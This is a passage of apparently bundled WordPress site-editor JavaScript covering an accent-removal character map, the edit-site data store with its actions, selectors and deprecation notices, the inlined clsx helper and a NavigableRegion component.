779 "\u015B": "s",
780 "\u015C": "S",
781 "\u015D": "s",
782 "\u015E": "S",
783 "\u0218": "S",
784 "\u0219": "s",
785 "\u015F": "s",
786 "\u0160": "S",
787 "\u0161": "s",
788 "\u0162": "T",
789 "\u0163": "t",
790 "\u021B": "t",
791 "\u021A": "T",
792 "\u0164": "T",
793 "\u0165": "t",
794 "\u0166": "T",
795 "\u0167": "t",
796 "T\u0306": "T",
797 "t\u0306": "t",
798 "\u0168": "U",
799 "\u0169": "u",
800 "\u016A": "U",
801 "\u016B": "u",
802 "\u016C": "U",
803 "\u016D": "u",
804 "\u016E": "U",
805 "\u016F": "u",
806 "\u0170": "U",
807 "\u0171": "u",
808 "\u0172": "U",
809 "\u0173": "u",
810 "\u0216": "U",
811 "\u0217": "u",
812 "V\u0306": "V",
813 "v\u0306": "v",
814 "\u0174": "W",
815 "\u0175": "w",
816 "\u1E82": "W",
817 "\u1E83": "w",
818 "X\u0306": "X",
819 "x\u0306": "x",
820 "\u0176": "Y",
821 "\u0177": "y",
822 "\u0178": "Y",
823 "Y\u0306": "Y",
824 "y\u0306": "y",
825 "\u0179": "Z",
826 "\u017A": "z",
827 "\u017B": "Z",
828 "\u017C": "z",
829 "\u017D": "Z",
830 "\u017E": "z",
831 "\u017F": "s",
832 "\u0192": "f",
833 "\u01A0": "O",
834 "\u01A1": "o",
835 "\u01AF": "U",
836 "\u01B0": "u",
837 "\u01CD": "A",
838 "\u01CE": "a",
839 "\u01CF": "I",
840 "\u01D0": "i",
841 "\u01D1": "O",
842 "\u01D2": "o",
843 "\u01D3": "U",
844 "\u01D4": "u",
845 "\u01D5": "U",
846 "\u01D6": "u",
847 "\u01D7": "U",
848 "\u01D8": "u",
849 "\u01D9": "U",
850 "\u01DA": "u",
851 "\u01DB": "U",
852 "\u01DC": "u",
853 "\u1EE8": "U",
854 "\u1EE9": "u",
855 "\u1E78": "U",
856 "\u1E79": "u",
857 "\u01FA": "A",
858 "\u01FB": "a",
859 "\u01FC": "AE",
860 "\u01FD": "ae",
861 "\u01FE": "O",
862 "\u01FF": "o",
863 "\xDE": "TH",
864 "\xFE": "th",
865 "\u1E54": "P",
866 "\u1E55": "p",
867 "\u1E64": "S",
868 "\u1E65": "s",
869 "X\u0301": "X",
870 "x\u0301": "x",
871 "\u0403": "\u0413",
872 "\u0453": "\u0433",
873 "\u040C": "\u041A",
874 "\u045C": "\u043A",
875 "A\u030B": "A",
876 "a\u030B": "a",
877 "E\u030B": "E",
878 "e\u030B": "e",
879 "I\u030B": "I",
880 "i\u030B": "i",
881 "\u01F8": "N",
882 "\u01F9": "n",
883 "\u1ED2": "O",
884 "\u1ED3": "o",
885 "\u1E50": "O",
886 "\u1E51": "o",
887 "\u1EEA": "U",
888 "\u1EEB": "u",
889 "\u1E80": "W",
890 "\u1E81": "w",
891 "\u1EF2": "Y",
892 "\u1EF3": "y",
893 "\u0200": "A",
894 "\u0201": "a",
895 "\u0204": "E",
896 "\u0205": "e",
897 "\u0208": "I",
898 "\u0209": "i",
899 "\u020C": "O",
900 "\u020D": "o",
901 "\u0210": "R",
902 "\u0211": "r",
903 "\u0214": "U",
904 "\u0215": "u",
905 "B\u030C": "B",
906 "b\u030C": "b",
907 "\u010C\u0323": "C",
908 "\u010D\u0323": "c",
909 "\xCA\u030C": "E",
910 "\xEA\u030C": "e",
911 "F\u030C": "F",
912 "f\u030C": "f",
913 "\u01E6": "G",
914 "\u01E7": "g",
915 "\u021E": "H",
916 "\u021F": "h",
917 "J\u030C": "J",
918 "\u01F0": "j",
919 "\u01E8": "K",
920 "\u01E9": "k",
921 "M\u030C": "M",
922 "m\u030C": "m",
923 "P\u030C": "P",
924 "p\u030C": "p",
925 "Q\u030C": "Q",
926 "q\u030C": "q",
927 "\u0158\u0329": "R",
928 "\u0159\u0329": "r",
929 "\u1E66": "S",
930 "\u1E67": "s",
931 "V\u030C": "V",
932 "v\u030C": "v",
933 "W\u030C": "W",
934 "w\u030C": "w",
935 "X\u030C": "X",
936 "x\u030C": "x",
937 "Y\u030C": "Y",
938 "y\u030C": "y",
939 "A\u0327": "A",
940 "a\u0327": "a",
941 "B\u0327": "B",
942 "b\u0327": "b",
943 "\u1E10": "D",
944 "\u1E11": "d",
945 "\u0228": "E",
946 "\u0229": "e",
947 "\u0190\u0327": "E",
948 "\u025B\u0327": "e",
949 "\u1E28": "H",
950 "\u1E29": "h",
951 "I\u0327": "I",
952 "i\u0327": "i",
953 "\u0197\u0327": "I",
954 "\u0268\u0327": "i",
955 "M\u0327": "M",
956 "m\u0327": "m",
957 "O\u0327": "O",
958 "o\u0327": "o",
959 "Q\u0327": "Q",
960 "q\u0327": "q",
961 "U\u0327": "U",
962 "u\u0327": "u",
963 "X\u0327": "X",
964 "x\u0327": "x",
965 "Z\u0327": "Z",
966 "z\u0327": "z",
967 "\u0439": "\u0438",
968 "\u0419": "\u0418",
969 "\u0451": "\u0435",
970 "\u0401": "\u0415"
971 };
972 var chars = Object.keys(characterMap).join("|");
973 var allAccents = new RegExp(chars, "g");
974 var firstAccent = new RegExp(chars, "");
975 function matcher(match3) {
976 return characterMap[match3];
977 }
978 var removeAccents3 = function(string) {
979 return string.replace(allAccents, matcher);
980 };
981 var hasAccents = function(string) {
982 return !!string.match(firstAccent);
983 };
984 module.exports = removeAccents3;
985 module.exports.has = hasAccents;
986 module.exports.remove = removeAccents3;
987 }
988 });
989
990 // package-external:@wordpress/warning
991 var require_warning = __commonJS({
992 "package-external:@wordpress/warning"(exports, module) {
993 module.exports = window.wp.warning;
994 }
995 });
996
997 // packages/edit-site/build-module/index.mjs
998 var index_exports = {};
999 __export(index_exports, {
1000 PluginMoreMenuItem: () => PluginMoreMenuItem,
1001 PluginSidebar: () => PluginSidebar,
1002 PluginSidebarMoreMenuItem: () => PluginSidebarMoreMenuItem,
1003 PluginTemplateSettingPanel: () => plugin_template_setting_panel_default,
1004 initializeEditor: () => initializeEditor,
1005 reinitializeEditor: () => reinitializeEditor,
1006 store: () => store
1007 });
1008 var import_blocks15 = __toESM(require_blocks(), 1);
1009 var import_block_library3 = __toESM(require_block_library(), 1);
1010 var import_data84 = __toESM(require_data(), 1);
1011 var import_deprecated6 = __toESM(require_deprecated(), 1);
1012 var import_element162 = __toESM(require_element(), 1);
1013 var import_editor46 = __toESM(require_editor(), 1);
1014 var import_preferences13 = __toESM(require_preferences(), 1);
1015 var import_widgets = __toESM(require_widgets(), 1);
1016
1017 // packages/edit-site/build-module/store/index.mjs
1018 var import_data3 = __toESM(require_data(), 1);
1019
1020 // packages/edit-site/build-module/store/reducer.mjs
1021 var import_data = __toESM(require_data(), 1);
1022 function settings(state = {}, action) {
1023 switch (action.type) {
1024 case "UPDATE_SETTINGS":
1025 return {
1026 ...state,
1027 ...action.settings
1028 };
1029 }
1030 return state;
1031 }
1032 function editedPost(state = {}, action) {
1033 switch (action.type) {
1034 case "SET_EDITED_POST":
1035 return {
1036 postType: action.postType,
1037 id: action.id,
1038 context: action.context
1039 };
1040 case "SET_EDITED_POST_CONTEXT":
1041 return {
1042 ...state,
1043 context: action.context
1044 };
1045 }
1046 return state;
1047 }
1048 function saveViewPanel(state = false, action) {
1049 switch (action.type) {
1050 case "SET_IS_SAVE_VIEW_OPENED":
1051 return action.isOpen;
1052 }
1053 return state;
1054 }
1055 function routes(state = [], action) {
1056 switch (action.type) {
1057 case "REGISTER_ROUTE":
1058 return [...state, action.route];
1059 case "UNREGISTER_ROUTE":
1060 return state.filter((route) => route.name !== action.name);
1061 }
1062 return state;
1063 }
1064 var reducer_default = (0, import_data.combineReducers)({
1065 settings,
1066 editedPost,
1067 saveViewPanel,
1068 routes
1069 });
1070
1071 // packages/edit-site/build-module/store/actions.mjs
1072 var actions_exports = {};
1073 __export(actions_exports, {
1074 __experimentalSetPreviewDeviceType: () => __experimentalSetPreviewDeviceType,
1075 addTemplate: () => addTemplate,
1076 closeGeneralSidebar: () => closeGeneralSidebar,
1077 openGeneralSidebar: () => openGeneralSidebar,
1078 openNavigationPanelToMenu: () => openNavigationPanelToMenu,
1079 removeTemplate: () => removeTemplate,
1080 revertTemplate: () => revertTemplate,
1081 setEditedEntity: () => setEditedEntity,
1082 setEditedPostContext: () => setEditedPostContext,
1083 setHasPageContentFocus: () => setHasPageContentFocus,
1084 setHomeTemplateId: () => setHomeTemplateId,
1085 setIsInserterOpened: () => setIsInserterOpened,
1086 setIsListViewOpened: () => setIsListViewOpened,
1087 setIsNavigationPanelOpened: () => setIsNavigationPanelOpened,
1088 setIsSaveViewOpened: () => setIsSaveViewOpened,
1089 setNavigationMenu: () => setNavigationMenu,
1090 setNavigationPanelActiveMenu: () => setNavigationPanelActiveMenu,
1091 setPage: () => setPage,
1092 setTemplate: () => setTemplate,
1093 setTemplatePart: () => setTemplatePart,
1094 switchEditorMode: () => switchEditorMode,
1095 toggleDistractionFree: () => toggleDistractionFree,
1096 toggleFeature: () => toggleFeature,
1097 updateSettings: () => updateSettings
1098 });
1099 var import_blocks = __toESM(require_blocks(), 1);
1100 var import_deprecated = __toESM(require_deprecated(), 1);
1101 var import_core_data = __toESM(require_core_data(), 1);
1102 var import_block_editor = __toESM(require_block_editor(), 1);
1103 var import_editor = __toESM(require_editor(), 1);
1104 var import_preferences = __toESM(require_preferences(), 1);
1105
1106 // packages/edit-site/build-module/utils/constants.mjs
1107 var import_i18n = __toESM(require_i18n(), 1);
1108 var import_patterns = __toESM(require_patterns(), 1);
1109
1110 // packages/edit-site/build-module/lock-unlock.mjs
1111 var import_private_apis = __toESM(require_private_apis(), 1);
1112 var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
1113 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
1114 "@wordpress/edit-site"
1115 );
1116
1117 // packages/edit-site/build-module/utils/constants.mjs
1118 var ATTACHMENT_POST_TYPE = "attachment";
1119 var NAVIGATION_POST_TYPE = "wp_navigation";
1120 var TEMPLATE_POST_TYPE = "wp_template";
1121 var TEMPLATE_PART_POST_TYPE = "wp_template_part";
1122 var TEMPLATE_ORIGINS = {
1123 custom: "custom",
1124 theme: "theme",
1125 plugin: "plugin"
1126 };
1127 var TEMPLATE_PART_AREA_DEFAULT_CATEGORY = "uncategorized";
1128 var TEMPLATE_PART_ALL_AREAS_CATEGORY = "all-parts";
1129 var {
1130 PATTERN_TYPES,
1131 PATTERN_DEFAULT_CATEGORY,
1132 PATTERN_USER_CATEGORY,
1133 EXCLUDED_PATTERN_SOURCES,
1134 PATTERN_SYNC_TYPES
1135 } = unlock(import_patterns.privateApis);
1136 var FOCUSABLE_ENTITIES = [
1137 TEMPLATE_PART_POST_TYPE,
1138 NAVIGATION_POST_TYPE,
1139 PATTERN_TYPES.user
1140 ];
1141 var POST_TYPE_LABELS = {
1142 [TEMPLATE_POST_TYPE]: (0, import_i18n.__)("Template"),
1143 [TEMPLATE_PART_POST_TYPE]: (0, import_i18n.__)("Template part"),
1144 [PATTERN_TYPES.user]: (0, import_i18n.__)("Pattern"),
1145 [NAVIGATION_POST_TYPE]: (0, import_i18n.__)("Navigation")
1146 };
1147 var LAYOUT_GRID = "grid";
1148 var LAYOUT_TABLE = "table";
1149 var LAYOUT_LIST = "list";
1150 var OPERATOR_IS = "is";
1151 var OPERATOR_IS_ANY = "isAny";
1152 var OPERATOR_IS_NONE = "isNone";
1153 var OPERATOR_BEFORE = "before";
1154 var OPERATOR_AFTER = "after";
1155
1156 // packages/edit-site/build-module/store/actions.mjs
1157 var { interfaceStore } = unlock(import_editor.privateApis);
1158 function toggleFeature(featureName) {
1159 return function({ registry }) {
1160 (0, import_deprecated.default)(
1161 "dispatch( 'core/edit-site' ).toggleFeature( featureName )",
1162 {
1163 since: "6.0",
1164 alternative: "dispatch( 'core/preferences').toggle( 'core/edit-site', featureName )"
1165 }
1166 );
1167 registry.dispatch(import_preferences.store).toggle("core/edit-site", featureName);
1168 };
1169 }
1170 var __experimentalSetPreviewDeviceType = (deviceType) => ({ registry }) => {
1171 (0, import_deprecated.default)(
1172 "dispatch( 'core/edit-site' ).__experimentalSetPreviewDeviceType",
1173 {
1174 since: "6.5",
1175 version: "6.7",
1176 hint: "registry.dispatch( editorStore ).setDeviceType"
1177 }
1178 );
1179 registry.dispatch(import_editor.store).setDeviceType(deviceType);
1180 };
1181 function setTemplate() {
1182 (0, import_deprecated.default)("dispatch( 'core/edit-site' ).setTemplate", {
1183 since: "6.5",
1184 version: "6.8",
1185 hint: "The setTemplate is not needed anymore, the correct entity is resolved from the URL automatically."
1186 });
1187 return {
1188 type: "NOTHING"
1189 };
1190 }
1191 var addTemplate = (template) => async ({ dispatch: dispatch2, registry }) => {
1192 (0, import_deprecated.default)("dispatch( 'core/edit-site' ).addTemplate", {
1193 since: "6.5",
1194 version: "6.8",
1195 hint: "use saveEntityRecord directly"
1196 });
1197 const newTemplate = await registry.dispatch(import_core_data.store).saveEntityRecord("postType", TEMPLATE_POST_TYPE, template);
1198 if (template.content) {
1199 registry.dispatch(import_core_data.store).editEntityRecord(
1200 "postType",
1201 TEMPLATE_POST_TYPE,
1202 newTemplate.id,
1203 { blocks: (0, import_blocks.parse)(template.content) },
1204 { undoIgnore: true }
1205 );
1206 }
1207 dispatch2({
1208 type: "SET_EDITED_POST",
1209 postType: TEMPLATE_POST_TYPE,
1210 id: newTemplate.id
1211 });
1212 };
1213 var removeTemplate = (template) => ({ registry }) => {
1214 return unlock(registry.dispatch(import_editor.store)).removeTemplates([
1215 template
1216 ]);
1217 };
1218 function setTemplatePart(templatePartId) {
1219 (0, import_deprecated.default)("dispatch( 'core/edit-site' ).setTemplatePart", {
1220 since: "6.8"
1221 });
1222 return {
1223 type: "SET_EDITED_POST",
1224 postType: TEMPLATE_PART_POST_TYPE,
1225 id: templatePartId
1226 };
1227 }
1228 function setNavigationMenu(navigationMenuId) {
1229 (0, import_deprecated.default)("dispatch( 'core/edit-site' ).setNavigationMenu", {
1230 since: "6.8"
1231 });
1232 return {
1233 type: "SET_EDITED_POST",
1234 postType: NAVIGATION_POST_TYPE,
1235 id: navigationMenuId
1236 };
1237 }
1238 function setEditedEntity(postType2, postId, context) {
1239 return {
1240 type: "SET_EDITED_POST",
1241 postType: postType2,
1242 id: postId,
1243 context
1244 };
1245 }
1246 function setHomeTemplateId() {
1247 (0, import_deprecated.default)("dispatch( 'core/edit-site' ).setHomeTemplateId", {
1248 since: "6.2",
1249 version: "6.4"
1250 });
1251 return {
1252 type: "NOTHING"
1253 };
1254 }
1255 function setEditedPostContext(context) {
1256 (0, import_deprecated.default)("dispatch( 'core/edit-site' ).setEditedPostContext", {
1257 since: "6.8"
1258 });
1259 return {
1260 type: "SET_EDITED_POST_CONTEXT",
1261 context
1262 };
1263 }
1264 function setPage() {
1265 (0, import_deprecated.default)("dispatch( 'core/edit-site' ).setPage", {
1266 since: "6.5",
1267 version: "6.8",
1268 hint: "The setPage is not needed anymore, the correct entity is resolved from the URL automatically."
1269 });
1270 return { type: "NOTHING" };
1271 }
1272 function setNavigationPanelActiveMenu() {
1273 (0, import_deprecated.default)("dispatch( 'core/edit-site' ).setNavigationPanelActiveMenu", {
1274 since: "6.2",
1275 version: "6.4"
1276 });
1277 return { type: "NOTHING" };
1278 }
1279 function openNavigationPanelToMenu() {
1280 (0, import_deprecated.default)("dispatch( 'core/edit-site' ).openNavigationPanelToMenu", {
1281 since: "6.2",
1282 version: "6.4"
1283 });
1284 return { type: "NOTHING" };
1285 }
1286 function setIsNavigationPanelOpened() {
1287 (0, import_deprecated.default)("dispatch( 'core/edit-site' ).setIsNavigationPanelOpened", {
1288 since: "6.2",
1289 version: "6.4"
1290 });
1291 return { type: "NOTHING" };
1292 }
1293 var setIsInserterOpened = (value) => ({ registry }) => {
1294 (0, import_deprecated.default)("dispatch( 'core/edit-site' ).setIsInserterOpened", {
1295 since: "6.5",
1296 alternative: "dispatch( 'core/editor').setIsInserterOpened"
1297 });
1298 registry.dispatch(import_editor.store).setIsInserterOpened(value);
1299 };
1300 var setIsListViewOpened = (isOpen) => ({ registry }) => {
1301 (0, import_deprecated.default)("dispatch( 'core/edit-site' ).setIsListViewOpened", {
1302 since: "6.5",
1303 alternative: "dispatch( 'core/editor').setIsListViewOpened"
1304 });
1305 registry.dispatch(import_editor.store).setIsListViewOpened(isOpen);
1306 };
1307 function updateSettings(settings2) {
1308 return {
1309 type: "UPDATE_SETTINGS",
1310 settings: settings2
1311 };
1312 }
1313 function setIsSaveViewOpened(isOpen) {
1314 return {
1315 type: "SET_IS_SAVE_VIEW_OPENED",
1316 isOpen
1317 };
1318 }
1319 var revertTemplate = (template, options) => ({ registry }) => {
1320 return unlock(registry.dispatch(import_editor.store)).revertTemplate(
1321 template,
1322 options
1323 );
1324 };
1325 var openGeneralSidebar = (name2) => ({ registry }) => {
1326 registry.dispatch(interfaceStore).enableComplementaryArea("core", name2);
1327 };
1328 var closeGeneralSidebar = () => ({ registry }) => {
1329 registry.dispatch(interfaceStore).disableComplementaryArea("core");
1330 };
1331 var switchEditorMode = (mode) => ({ registry }) => {
1332 (0, import_deprecated.default)("dispatch( 'core/edit-site' ).switchEditorMode", {
1333 since: "6.6",
1334 alternative: "dispatch( 'core/editor').switchEditorMode"
1335 });
1336 registry.dispatch(import_editor.store).switchEditorMode(mode);
1337 };
1338 var setHasPageContentFocus = (hasPageContentFocus2) => ({ dispatch: dispatch2, registry }) => {
1339 (0, import_deprecated.default)(`dispatch( 'core/edit-site' ).setHasPageContentFocus`, {
1340 since: "6.5"
1341 });
1342 if (hasPageContentFocus2) {
1343 registry.dispatch(import_block_editor.store).clearSelectedBlock();
1344 }
1345 dispatch2({
1346 type: "SET_HAS_PAGE_CONTENT_FOCUS",
1347 hasPageContentFocus: hasPageContentFocus2
1348 });
1349 };
1350 var toggleDistractionFree = () => ({ registry }) => {
1351 (0, import_deprecated.default)("dispatch( 'core/edit-site' ).toggleDistractionFree", {
1352 since: "6.6",
1353 alternative: "dispatch( 'core/editor').toggleDistractionFree"
1354 });
1355 registry.dispatch(import_editor.store).toggleDistractionFree();
1356 };
1357
1358 // packages/edit-site/build-module/store/private-actions.mjs
1359 var private_actions_exports = {};
1360 __export(private_actions_exports, {
1361 registerRoute: () => registerRoute,
1362 unregisterRoute: () => unregisterRoute
1363 });
1364 function registerRoute(route) {
1365 return {
1366 type: "REGISTER_ROUTE",
1367 route
1368 };
1369 }
1370 function unregisterRoute(name2) {
1371 return {
1372 type: "UNREGISTER_ROUTE",
1373 name: name2
1374 };
1375 }
1376
1377 // packages/edit-site/build-module/store/selectors.mjs
1378 var selectors_exports = {};
1379 __export(selectors_exports, {
1380 __experimentalGetInsertionPoint: () => __experimentalGetInsertionPoint,
1381 __experimentalGetPreviewDeviceType: () => __experimentalGetPreviewDeviceType,
1382 getCanUserCreateMedia: () => getCanUserCreateMedia,
1383 getCurrentTemplateNavigationPanelSubMenu: () => getCurrentTemplateNavigationPanelSubMenu,
1384 getCurrentTemplateTemplateParts: () => getCurrentTemplateTemplateParts,
1385 getEditedPostContext: () => getEditedPostContext,
1386 getEditedPostId: () => getEditedPostId,
1387 getEditedPostType: () => getEditedPostType,
1388 getEditorMode: () => getEditorMode,
1389 getHomeTemplateId: () => getHomeTemplateId,
1390 getNavigationPanelActiveMenu: () => getNavigationPanelActiveMenu,
1391 getPage: () => getPage,
1392 getReusableBlocks: () => getReusableBlocks,
1393 getSettings: () => getSettings,
1394 hasPageContentFocus: () => hasPageContentFocus,
1395 isFeatureActive: () => isFeatureActive,
1396 isInserterOpened: () => isInserterOpened,
1397 isListViewOpened: () => isListViewOpened,
1398 isNavigationOpened: () => isNavigationOpened,
1399 isPage: () => isPage,
1400 isSaveViewOpened: () => isSaveViewOpened
1401 });
1402 var import_core_data2 = __toESM(require_core_data(), 1);
1403 var import_data2 = __toESM(require_data(), 1);
1404 var import_deprecated2 = __toESM(require_deprecated(), 1);
1405 var import_element = __toESM(require_element(), 1);
1406 var import_preferences2 = __toESM(require_preferences(), 1);
1407 var import_editor2 = __toESM(require_editor(), 1);
1408 var import_block_editor2 = __toESM(require_block_editor(), 1);
1409
1410 // packages/edit-site/build-module/utils/get-filtered-template-parts.mjs
1411 var import_blocks2 = __toESM(require_blocks(), 1);
1412 var EMPTY_ARRAY = [];
1413 function getFilteredTemplatePartBlocks(blocks = EMPTY_ARRAY, templateParts) {
1414 const templatePartsById = templateParts ? (
1415 // Key template parts by their ID.
1416 templateParts.reduce(
1417 (newTemplateParts, part) => ({
1418 ...newTemplateParts,
1419 [part.id]: part
1420 }),
1421 {}
1422 )
1423 ) : {};
1424 const result = [];
1425 const stack = [...blocks];
1426 while (stack.length) {
1427 const { innerBlocks, ...block } = stack.shift();
1428 stack.unshift(...innerBlocks);
1429 if ((0, import_blocks2.isTemplatePart)(block)) {
1430 const {
1431 attributes: { theme, slug }
1432 } = block;
1433 const templatePartId = `${theme}//${slug}`;
1434 const templatePart = templatePartsById[templatePartId];
1435 if (templatePart) {
1436 result.push({
1437 templatePart,
1438 block
1439 });
1440 }
1441 }
1442 }
1443 return result;
1444 }
1445
1446 // packages/edit-site/build-module/store/selectors.mjs
1447 var isFeatureActive = (0, import_data2.createRegistrySelector)(
1448 (select3) => (_, featureName) => {
1449 (0, import_deprecated2.default)(`select( 'core/edit-site' ).isFeatureActive`, {
1450 since: "6.0",
1451 alternative: `select( 'core/preferences' ).get`
1452 });
1453 return !!select3(import_preferences2.store).get(
1454 "core/edit-site",
1455 featureName
1456 );
1457 }
1458 );
1459 var __experimentalGetPreviewDeviceType = (0, import_data2.createRegistrySelector)(
1460 (select3) => () => {
1461 (0, import_deprecated2.default)(
1462 `select( 'core/edit-site' ).__experimentalGetPreviewDeviceType`,
1463 {
1464 since: "6.5",
1465 version: "6.7",
1466 alternative: `select( 'core/editor' ).getDeviceType`
1467 }
1468 );
1469 return select3(import_editor2.store).getDeviceType();
1470 }
1471 );
1472 var getCanUserCreateMedia = (0, import_data2.createRegistrySelector)(
1473 (select3) => () => {
1474 (0, import_deprecated2.default)(
1475 `wp.data.select( 'core/edit-site' ).getCanUserCreateMedia()`,
1476 {
1477 since: "6.7",
1478 alternative: `wp.data.select( 'core' ).canUser( 'create', { kind: 'postType', type: 'attachment' } )`
1479 }
1480 );
1481 return select3(import_core_data2.store).canUser("create", "media");
1482 }
1483 );
1484 var getReusableBlocks = (0, import_data2.createRegistrySelector)((select3) => () => {
1485 (0, import_deprecated2.default)(`select( 'core/edit-site' ).getReusableBlocks()`, {
1486 since: "6.5",
1487 version: "6.8",
1488 alternative: `select( 'core/core' ).getEntityRecords( 'postType', 'wp_block' )`
1489 });
1490 const isWeb = import_element.Platform.OS === "web";
1491 return isWeb ? select3(import_core_data2.store).getEntityRecords("postType", "wp_block", {
1492 per_page: -1
1493 }) : [];
1494 });
1495 function getSettings(state) {
1496 return state.settings;
1497 }
1498 function getHomeTemplateId() {
1499 (0, import_deprecated2.default)("select( 'core/edit-site' ).getHomeTemplateId", {
1500 since: "6.2",
1501 version: "6.4"
1502 });
1503 }
1504 function getEditedPostType(state) {
1505 (0, import_deprecated2.default)("select( 'core/edit-site' ).getEditedPostType", {
1506 since: "6.8",
1507 alternative: "select( 'core/editor' ).getCurrentPostType"
1508 });
1509 return state.editedPost.postType;
1510 }
1511 function getEditedPostId(state) {
1512 (0, import_deprecated2.default)("select( 'core/edit-site' ).getEditedPostId", {
1513 since: "6.8",
1514 alternative: "select( 'core/editor' ).getCurrentPostId"
1515 });
1516 return state.editedPost.id;
1517 }
1518 function getEditedPostContext(state) {
1519 (0, import_deprecated2.default)("select( 'core/edit-site' ).getEditedPostContext", {
1520 since: "6.8"
1521 });
1522 return state.editedPost.context;
1523 }
1524 function getPage(state) {
1525 (0, import_deprecated2.default)("select( 'core/edit-site' ).getPage", {
1526 since: "6.8"
1527 });
1528 return { context: state.editedPost.context };
1529 }
1530 var isInserterOpened = (0, import_data2.createRegistrySelector)((select3) => () => {
1531 (0, import_deprecated2.default)(`select( 'core/edit-site' ).isInserterOpened`, {
1532 since: "6.5",
1533 alternative: `select( 'core/editor' ).isInserterOpened`
1534 });
1535 return select3(import_editor2.store).isInserterOpened();
1536 });
1537 var __experimentalGetInsertionPoint = (0, import_data2.createRegistrySelector)(
1538 (select3) => () => {
1539 (0, import_deprecated2.default)(
1540 `select( 'core/edit-site' ).__experimentalGetInsertionPoint`,
1541 {
1542 since: "6.5",
1543 version: "6.7"
1544 }
1545 );
1546 return unlock(select3(import_editor2.store)).getInserter();
1547 }
1548 );
1549 var isListViewOpened = (0, import_data2.createRegistrySelector)((select3) => () => {
1550 (0, import_deprecated2.default)(`select( 'core/edit-site' ).isListViewOpened`, {
1551 since: "6.5",
1552 alternative: `select( 'core/editor' ).isListViewOpened`
1553 });
1554 return select3(import_editor2.store).isListViewOpened();
1555 });
1556 function isSaveViewOpened(state) {
1557 return state.saveViewPanel;
1558 }
1559 function getBlocksAndTemplateParts(select3) {
1560 const templateParts = select3(import_core_data2.store).getEntityRecords(
1561 "postType",
1562 TEMPLATE_PART_POST_TYPE,
1563 { per_page: -1 }
1564 );
1565 const { getBlocksByName, getBlocksByClientId } = select3(import_block_editor2.store);
1566 const clientIds = getBlocksByName("core/template-part");
1567 const blocks = getBlocksByClientId(clientIds);
1568 return [blocks, templateParts];
1569 }
1570 var getCurrentTemplateTemplateParts = (0, import_data2.createRegistrySelector)(
1571 (select3) => (0, import_data2.createSelector)(
1572 () => {
1573 (0, import_deprecated2.default)(
1574 `select( 'core/edit-site' ).getCurrentTemplateTemplateParts()`,
1575 {
1576 since: "6.7",
1577 version: "6.9",
1578 alternative: `select( 'core/block-editor' ).getBlocksByName( 'core/template-part' )`
1579 }
1580 );
1581 return getFilteredTemplatePartBlocks(
1582 ...getBlocksAndTemplateParts(select3)
1583 );
1584 },
1585 () => getBlocksAndTemplateParts(select3)
1586 )
1587 );
1588 var getEditorMode = (0, import_data2.createRegistrySelector)((select3) => () => {
1589 return select3(import_preferences2.store).get("core", "editorMode");
1590 });
1591 function getCurrentTemplateNavigationPanelSubMenu() {
1592 (0, import_deprecated2.default)(
1593 "dispatch( 'core/edit-site' ).getCurrentTemplateNavigationPanelSubMenu",
1594 {
1595 since: "6.2",
1596 version: "6.4"
1597 }
1598 );
1599 }
1600 function getNavigationPanelActiveMenu() {
1601 (0, import_deprecated2.default)("dispatch( 'core/edit-site' ).getNavigationPanelActiveMenu", {
1602 since: "6.2",
1603 version: "6.4"
1604 });
1605 }
1606 function isNavigationOpened() {
1607 (0, import_deprecated2.default)("dispatch( 'core/edit-site' ).isNavigationOpened", {
1608 since: "6.2",
1609 version: "6.4"
1610 });
1611 }
1612 function isPage(state) {
1613 (0, import_deprecated2.default)("select( 'core/edit-site' ).isPage", {
1614 since: "6.8",
1615 alternative: "select( 'core/editor' ).getCurrentPostType"
1616 });
1617 return !!state.editedPost.context?.postId;
1618 }
1619 function hasPageContentFocus() {
1620 (0, import_deprecated2.default)(`select( 'core/edit-site' ).hasPageContentFocus`, {
1621 since: "6.5"
1622 });
1623 return false;
1624 }
1625
1626 // packages/edit-site/build-module/store/private-selectors.mjs
1627 var private_selectors_exports = {};
1628 __export(private_selectors_exports, {
1629 getRoutes: () => getRoutes
1630 });
1631 function getRoutes(state) {
1632 return state.routes;
1633 }
1634
1635 // packages/edit-site/build-module/store/constants.mjs
1636 var STORE_NAME = "core/edit-site";
1637
1638 // packages/edit-site/build-module/store/index.mjs
1639 var storeConfig = {
1640 reducer: reducer_default,
1641 actions: actions_exports,
1642 selectors: selectors_exports
1643 };
1644 var store = (0, import_data3.createReduxStore)(STORE_NAME, storeConfig);
1645 (0, import_data3.register)(store);
1646 unlock(store).registerPrivateSelectors(private_selectors_exports);
1647 unlock(store).registerPrivateActions(private_actions_exports);
1648
1649 // packages/edit-site/build-module/components/app/index.mjs
1650 var import_data83 = __toESM(require_data(), 1);
1651 var import_router42 = __toESM(require_router(), 1);
1652 var import_element161 = __toESM(require_element(), 1);
1653 var import_core_data65 = __toESM(require_core_data(), 1);
1654
1655 // node_modules/clsx/dist/clsx.mjs
1656 function r(e2) {
1657 var t3, f2, n2 = "";
1658 if ("string" == typeof e2 || "number" == typeof e2) n2 += e2;
1659 else if ("object" == typeof e2) if (Array.isArray(e2)) {
1660 var o3 = e2.length;
1661 for (t3 = 0; t3 < o3; t3++) e2[t3] && (f2 = r(e2[t3])) && (n2 && (n2 += " "), n2 += f2);
1662 } else for (f2 in e2) e2[f2] && (n2 && (n2 += " "), n2 += f2);
1663 return n2;
1664 }
1665 function clsx() {
1666 for (var e2, t3, f2 = 0, n2 = "", o3 = arguments.length; f2 < o3; f2++) (e2 = arguments[f2]) && (t3 = r(e2)) && (n2 && (n2 += " "), n2 += t3);
1667 return n2;
1668 }
1669 var clsx_default = clsx;
1670
1671 // packages/admin-ui/build-module/navigable-region/index.mjs
1672 var import_element2 = __toESM(require_element(), 1);
1673 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
1674 var NavigableRegion = (0, import_element2.forwardRef)(
1675 ({ children, className, ariaLabel, as: Tag = "div", ...props }, ref) => {
1676 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(
1677 Tag,
1678 {
1679 ref,
1680 className: clsx_default("admin-ui-navigable-region", className),
1681 "aria-label": ariaLabel,
1682 role: "region",
1683 tabIndex: "-1",
1684 ...props,
1685 children
1686 }
1687 );
1688 }
1689 );
1690 NavigableRegion.displayName = "NavigableRegion";
1691 var navigable_region_default = NavigableRegion;
1692
1693 // node_modules/@base-ui/utils/esm/useRefWithInit.js
1694 var React = __toESM(require_react(), 1);
1695 var UNINITIALIZED = {};
